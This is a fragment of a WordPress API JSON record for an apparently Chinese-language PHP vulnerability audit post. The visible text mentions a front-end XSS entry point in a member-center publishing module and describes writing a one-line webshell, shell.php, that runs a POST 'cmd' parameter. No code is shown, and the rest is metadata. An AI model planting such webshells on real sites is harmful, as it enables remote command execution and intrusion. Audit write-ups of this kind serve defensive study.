    \u5728\u4e0a\u4e00\u7ea7\u76ee\u5f55\u5199\u5165 shell.php\u3002<\/p>\n\n\n\n
    \u5185\u5bb9\u662f\u4e00\u4e2a\u4e00\u53e5\u8bdd\u6728\u9a6c<\/strong>\uff0c\u63a5\u53d7 POST \u53c2\u6570 cmd\uff0c\u76f4\u63a5\u6267\u884c\u3002<\/p>\n\n\n\n
    \"\"<\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"
    \u6f0f\u6d1e\u70b91 \u524d\u53f0xss 2. 1.1. \u5165\u53e3\u70b9 \u529f\u80fd\u6a21\u5757: \u4f1a\u5458\u4e2d\u5fc3 – \u5185\u5bb9\u53d1\u5e03\u529f\u80fd \u5177\u4f53\u6587\u4ef6:  […]<\/p>\n","protected":false},"author":1,"featured_media":174,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[19,4],"tags":[9,18,6],"class_list":["post-202","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-19","category-4","tag-php","tag-18","tag-6"],"jetpack_featured_media_url":"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/01\/b1e5909058e8ee6c81317bad4ccf867942c69d47.webp","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/posts\/202","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=202"}],"version-history":[{"count":2,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/posts\/202\/revisions"}],"predecessor-version":[{"id":233,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/posts\/202\/revisions\/233"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/media\/174"}],"wp:attachment":[{"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=202"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=202"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=202"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}